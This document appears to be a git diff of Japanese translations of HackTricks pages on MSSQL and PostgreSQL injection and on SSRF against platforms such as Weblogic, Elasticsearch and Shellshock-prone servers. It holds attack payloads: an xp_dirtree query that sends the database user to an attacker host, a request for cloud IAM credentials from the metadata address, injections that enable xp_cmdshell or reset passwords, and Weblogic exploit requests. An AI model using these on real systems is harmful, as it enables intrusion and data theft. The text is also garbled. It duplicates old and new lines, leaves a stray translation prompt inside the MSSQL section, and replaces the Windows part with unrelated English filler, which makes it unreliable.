MSSQLを使用してネットワークコールを行うための最も一般的な方法は、格納プロシージャ`xp_dirtree`を使用することです。これはMicrosoftによって公式には文書化されていないため、[インターネット上の他の人々によって文書化されています](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。この方法は、[インターネット上の[Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)の投稿で複数の例で使用されています。
|
||||
MSSQLを使用してネットワークコールを行うための最も一般的な方法は、格納プロシージャ`xp_dirtree`を使用することです。これはMicrosoftによって公式には文書化されていないため、[インターネット上の他の人々によって文書化されています](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。この方法は、[Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)の投稿で[複数の例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)で使用されています。
|
||||
|
||||
基本的には、
|
||||
```sql
|
||||
|
@ -130,15 +127,15 @@ DECLARE @user varchar(100);
|
|||
SELECT @user = (SELECT user);
|
||||
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
|
||||
```
|
||||
MySQLの`LOAD_FILE`と同様に、`xp_dirtree`を使用してネットワークリクエストを**TCPポート445のみ**に行うことができます。ポート番号を制御することはできませんが、ネットワーク共有から情報を読み取ることができます。
|
||||
MySQLの`LOAD_FILE`と同様に、`xp_dirtree`を使用してネットワークリクエストをTCPポート445に送信することができます。ポート番号を制御することはできませんが、ネットワーク共有から情報を読み取ることができます。
|
||||
|
||||
**注意:**これは、デフォルトの設定で実行されている`Windows Server 2016 Datacenter`上の`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`では機能しません。
|
||||
**注:** これは、デフォルトの設定で実行されている`Windows Server 2016 Datacenter`上の`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`では機能しません。
|
||||
|
||||
**他にも**、[**`master..xp_fileexist`のような**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)ストアドプロシージャや**`xp_subdirs`**など、同様の結果を得るために使用できるものがあります。
|
||||
他にも、[**`master..xp_fileexist`のような**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)ストアドプロシージャや**`xp_subdirs`**など、同様の結果を得るために使用できるストアドプロシージャがあります。
|
||||
|
||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||
|
||||
もちろん、**`xp_cmdshell`**を使用して**SSRFをトリガーする何かを実行**することもできます。詳細については、ページの**関連セクション**を読んでください:
|
||||
もちろん、**`xp_cmdshell`**を使用して**SSRFをトリガーする何かを実行**することもできます。詳細については、次のページの該当セクションを**読んでください**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
|
@ -146,7 +143,7 @@ MySQLの`LOAD_FILE`と同様に、`xp_dirtree`を使用してネットワーク
|
|||
|
||||
### MSSQLユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
**CLR UDF**(Common Language Runtime User Defined Function - **.NET**言語で書かれ、**DLL**にコンパイルされたコード)を簡単に作成し、MSSQL内でカスタム関数としてロードすることができます。ただし、これには`dbo`アクセスが必要なので、Webアプリケーションのデータベースへの接続が**`sa`または管理者の役割**として行われていない限り、機能しない場合があります。
|
||||
CLR UDF(Common Language Runtime User Defined Function - .NET言語で書かれ、DLLにコンパイルされたコード)を簡単に作成し、MSSQL内でカスタム関数としてロードすることができます。ただし、これには`dbo`アクセスが必要ですので、Webアプリケーションのデータベースへの接続が`sa`または管理者の役割である場合にのみ機能します。
|
||||
|
||||
[このGithubリポジトリには、Visual Studioプロジェクトとインストール手順があります](https://github.com/infiniteloopltd/SQLHttp)。これにより、バイナリをCLRアセンブリとしてMSSQLにロードし、MSSQL内からHTTP GETリクエストを呼び出すことができます。
|
||||
|
||||
|
@ -166,11 +163,11 @@ return new SqlString (html);
|
|||
}
|
||||
}
|
||||
```
|
||||
インストール手順では、`CREATE ASSEMBLY` クエリの前に以下を実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加します(`select * from sys.trusted_assemblies;` を使用してリストを表示できます)。
|
||||
インストール手順では、`CREATE ASSEMBLY` クエリの前に以下を実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加します(`select * from sys.trusted_assemblies;` を使用してリストを確認できます)。
|
||||
```sql
|
||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||
```
|
||||
アセンブリが追加され、関数が作成されたら、次のコマンドを実行してHTTPリクエストを行うことができます。
|
||||
アセンブリが追加され、関数が作成されたら、次のコマンドを実行してHTTPリクエストを行います。
|
||||
```sql
|
||||
DECLARE @url varchar(max);
|
||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||
|
@ -188,7 +185,7 @@ https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,ta
|
|||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
|
||||
|
||||
エラーベースのベクターは、JSONとしてフォーマットすることができないため、エイリアスまたは名前が必要です。
|
||||
エラーベースのベクトルは、エイリアスまたは名前が必要です。エイリアスや名前がない場合、式の出力をJSON形式でフォーマットすることはできません。
|
||||
```
|
||||
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
||||
```
|
||||
|
@ -213,17 +210,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
|
|||
```
|
||||
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
||||
```
|
||||
科学的な(0e)および16進(0x)表記によるUNIONの難読化:
|
||||
|
||||
```sql
|
||||
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
|
||||
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
|
||||
```
|
||||
|
||||
```sql
|
||||
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
|
||||
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
|
||||
```
|
||||
UNIONを曖昧化するための科学的(0e)および16進(0x)表記法:
|
||||
```
|
||||
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
||||
|
||||
|
@ -233,23 +220,63 @@ FROMと列名の間には、スペースの代わりにピリオドを使用し
|
|||
```
|
||||
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
||||
```
|
||||
\Nは、SELECTと使い捨ての列の間の区切り文字です。
|
||||
SELECTと使い捨てのカラムの間の\Nセパレーター:
|
||||
```
|
||||
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
||||
```
|
||||
### WAFバイパスと非伝統的なスタッククエリ
|
||||
|
||||
[**このブログ記事**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)によると、MSSQLでは";"を使用せずにクエリをスタックすることが可能です。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
例えば、複数のクエリを以下のようにスタックすることができます:
|
||||
```sql
|
||||
use [tempdb]
|
||||
create table [test] ([id] int)
|
||||
insert [test] values(1)
|
||||
select [id] from [test]
|
||||
drop table[test]
|
||||
```
|
||||
以下は、SQLインジェクションに関するハッキング技術についての本の内容です。次の内容は、ファイルpentesting-web/sql-injection/mssql-injection.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、"leak"という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。
|
||||
```sql
|
||||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||
```
|
||||
したがって、この種のクエリのスタックを考慮しないさまざまなWAFをバイパスすることが可能です。例えば:
|
||||
```
|
||||
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
|
||||
admina'union select 1,'admin','testtest123'exec('select 1')--
|
||||
## This will be:
|
||||
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
||||
exec('select 1')--'
|
||||
|
||||
# Using weirdly built queries
|
||||
admin'exec('update[users]set[password]=''a''')--
|
||||
## This will be:
|
||||
SELECT id, username, password FROM users WHERE username = 'admin'
|
||||
exec('update[users]set[password]=''a''')--'
|
||||
|
||||
# Or enabling xp_cmdshell
|
||||
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||||
## This will be
|
||||
select * from users where username = ' admin'
|
||||
exec('sp_configure''show advanced option'',''1''reconfigure')
|
||||
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
* [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
|
||||
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,18 +7,16 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、**最大$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
**このページでは、PostgreSQLデータベースで見つかったSQLインジェクションを悪用するためのさまざまなトリックを説明します。また、**[**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)**で見つけることができるトリックを補完するためのトリックもあります。
|
||||
|
||||
## ネットワークインタラクション - 特権昇格、ポートスキャナー、NTLMチャレンジレスポンスの開示とエクスフィルトレーション
|
||||
|
@ -29,7 +27,7 @@
|
|||
|
||||
### **dblinkと大きなオブジェクトを使用したエクスフィルトレーションの例**
|
||||
|
||||
CTFの例で、データを大きなオブジェクトにロードし、その大きなオブジェクトの内容を`dblink_connect`関数のユーザー名にエクスフィルトレートする方法を[**ここで読むことができます**](dblink-lo\_import-data-exfiltration.md)。
|
||||
CTFの例で、データを大きなオブジェクトにロードし、その大きなオブジェクトの内容を`dblink_connect`関数のユーザー名にエクスフィルトレートする方法を見るには、[**この例を読んでください**](dblink-lo\_import-data-exfiltration.md)。
|
||||
|
||||
## PostgreSQL攻撃:読み取り/書き込み、RCE、特権昇格
|
||||
|
||||
|
@ -57,7 +55,7 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
この関数は、すべてのデータをXML形式で1つのファイルに返します。1行に大量のデータをダンプしたい場合に最適です。
|
||||
この関数は、すべてのデータをXML形式で1つのファイルに返します。たくさんのデータを1行にダンプしたい場合に最適です。
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
|
@ -69,7 +67,7 @@ SELECT database_to_xml(true,true,'');
|
|||
```
|
||||
### 16進数の文字列
|
||||
|
||||
もし、**クエリを文字列の中に渡すことができる**場合(例えば、**`query_to_xml`**関数を使用する場合など)、**`convert_from`を使用して文字列を16進数として渡すことができ、この方法でフィルタをバイパスすることができます。**
|
||||
もし、**クエリを文字列の中に埋め込んで実行**することができる場合(たとえば、**`query_to_xml`**関数を使用する場合など)、**convert\_fromを使用して文字列を16進数として渡すことで、フィルタを回避することができます。**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -85,7 +83,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### 禁止された引用符
|
||||
|
||||
もしペイロードで引用符を使用できない場合、基本的な節に対して`CHR`を使用してこれをバイパスすることができます(_文字の連結はSELECT、INSERT、DELETEなどの基本的なクエリにのみ適用されます。すべてのSQL文には適用されません_):
|
||||
もしペイロードに引用符を使用できない場合、基本的な節に対して`CHR`を使用してこれをバイパスすることができます(_文字の連結はSELECT、INSERT、DELETEなどの基本的なクエリにのみ適用されます。すべてのSQL文には適用されません_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -107,7 +105,7 @@ SELECT $TAG$hacktricks$TAG$;
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,26 @@
|
|||
# SSRF 脆弱なプラットフォーム
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PR を** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
このセクションは[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)からコピーされました。
|
||||
|
||||
# Elasticsearch
|
||||
## Elasticsearch
|
||||
|
||||
**一般的にバインドされるポート: 9200**
|
||||
|
||||
Elasticsearchが内部で展開されている場合、通常は認証が必要ありません。
|
||||
Elasticsearch が内部で展開されている場合、通常は認証が必要ありません。
|
||||
|
||||
部分的にブラインドなSSRFがある場合、ステータスコードを判断できる場合、次のエンドポイントが200を返すかどうかを確認してください:
|
||||
部分的に盲目的な SSRF がある場合、ステータスコードを確認できるかどうかをチェックし、次のエンドポイントが 200 を返すかどうかを確認してください:
|
||||
```http
|
||||
/_cluster/health
|
||||
/_cat/indices
|
||||
|
@ -38,9 +35,9 @@ Elasticsearchが内部で展開されている場合、通常は認証が必要
|
|||
/_cluster/nodes/_shutdown
|
||||
/_cluster/nodes/_all/_shutdown
|
||||
```
|
||||
# Weblogic
|
||||
## Weblogic
|
||||
|
||||
**一般的にバインドされるポート: 80, 443 (SSL), 7001, 8888**
|
||||
**一般的にバインドされるポート: 80、443 (SSL)、7001、8888**
|
||||
|
||||
**SSRF カナリア: UDDI Explorer (CVE-2014-4210)**
|
||||
```http
|
||||
|
@ -65,7 +62,7 @@ Accept-Language: en
|
|||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
|
||||
Connection: close
|
||||
```
|
||||
次のリクエストになります:
|
||||
次のリクエストが生成されます:
|
||||
```
|
||||
root@mail:~# nc -lvp 4000
|
||||
Listening on [0.0.0.0] (family 0, port 4000)
|
||||
|
@ -82,11 +79,11 @@ Connection: Keep-Alive
|
|||
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
|
||||
```
|
||||
**SSRF Canary: CVE-2020-14883**
|
||||
**SSRFカナリア:CVE-2020-14883**
|
||||
|
||||
[ここ](https://forum.90sec.com/t/topic/1412)から引用。
|
||||
|
||||
Linux:
|
||||
Linux:
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
|
@ -103,17 +100,25 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
|
|||
```
|
||||
Windows:
|
||||
|
||||
Windows プラットフォームでは、SSRF 脆弱性がさまざまな形式で存在します。以下にいくつかの一般的な例を示します。
|
||||
Windows is a widely used operating system developed by Microsoft. It is vulnerable to Server-Side Request Forgery (SSRF) attacks in certain scenarios. SSRF occurs when an attacker is able to make a server perform requests on their behalf, potentially leading to unauthorized access to internal resources or sensitive information.
|
||||
|
||||
1. ローカルホストへのアクセス: Windows マシンでは、ローカルホスト(127.0.0.1)へのアクセスが可能な場合があります。これにより、攻撃者は内部ネットワーク上の他のサービスにアクセスすることができます。
|
||||
There are several common platforms and technologies on Windows that are known to be vulnerable to SSRF attacks. These include:
|
||||
|
||||
2. 内部ネットワークへのアクセス: Windows マシンが内部ネットワークに接続されている場合、攻撃者は内部ネットワーク上の他のサービスにアクセスすることができます。これにより、攻撃者は内部ネットワーク上の機密情報にアクセスすることができます。
|
||||
1. Windows Server: Versions of Windows Server, especially older ones, may have vulnerabilities that can be exploited for SSRF attacks. It is important to keep the server up to date with the latest security patches to mitigate these risks.
|
||||
|
||||
3. ファイルシステムへのアクセス: SSRF 脆弱性を利用すると、攻撃者は Windows マシン上のファイルシステムにアクセスすることができます。これにより、攻撃者は機密情報を盗み出すことができます。
|
||||
2. Internet Information Services (IIS): IIS is a web server software package developed by Microsoft. Older versions of IIS may have vulnerabilities that can be exploited for SSRF attacks. It is recommended to use the latest version of IIS and apply any available security updates.
|
||||
|
||||
4. リモートコード実行: SSRF 脆弱性を利用すると、攻撃者はリモートコードを実行することができます。これにより、攻撃者は Windows マシン上で任意のコマンドを実行することができます。
|
||||
3. .NET Framework: The .NET Framework is a software framework developed by Microsoft that provides a programming model for building applications. Certain versions of the .NET Framework may have vulnerabilities that can be exploited for SSRF attacks. It is important to keep the framework updated with the latest security patches.
|
||||
|
||||
これらの脆弱性を悪用すると、攻撃者は重要な情報を盗み出したり、システムを乗っ取ったりすることができます。したがって、Windows プラットフォームのセキュリティを強化するためには、SSRF 脆弱性に対する適切な対策を講じる必要があります。
|
||||
4. Windows PowerShell: PowerShell is a command-line shell and scripting language developed by Microsoft. It is commonly used for system administration tasks. Certain versions of PowerShell may have vulnerabilities that can be exploited for SSRF attacks. It is recommended to use the latest version of PowerShell and apply any available security updates.
|
||||
|
||||
To protect against SSRF attacks on Windows, it is important to follow security best practices, such as:
|
||||
|
||||
- Regularly updating the operating system, server software, and frameworks with the latest security patches.
|
||||
- Implementing strong access controls and authentication mechanisms to prevent unauthorized access to internal resources.
|
||||
- Conducting regular security audits and penetration testing to identify and mitigate any vulnerabilities.
|
||||
|
||||
By taking these precautions, you can help protect your Windows systems from SSRF attacks and ensure the security of your sensitive information.
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
|
@ -128,13 +133,13 @@ Content-Length: 117
|
|||
|
||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
||||
```
|
||||
# Hashicorp Consul
|
||||
## Hashicorp Consul
|
||||
|
||||
**一般的にバインドされるポート: 8500, 8501 (SSL)**
|
||||
|
||||
[ここ](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)にライトアップがあります。
|
||||
|
||||
# Shellshock
|
||||
## Shellshock
|
||||
|
||||
**一般的にバインドされるポート: 80, 443 (SSL), 8080**
|
||||
|
||||
|
@ -144,17 +149,17 @@ Shellshockを効果的にテストするためには、ペイロードを含む
|
|||
|
||||
[パスを含むGist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
||||
|
||||
**SSRFキャナリー: ユーザーエージェントを介したShellshock**
|
||||
**SSRFキャナリー: ユーザーエージェント経由のShellshock**
|
||||
```bash
|
||||
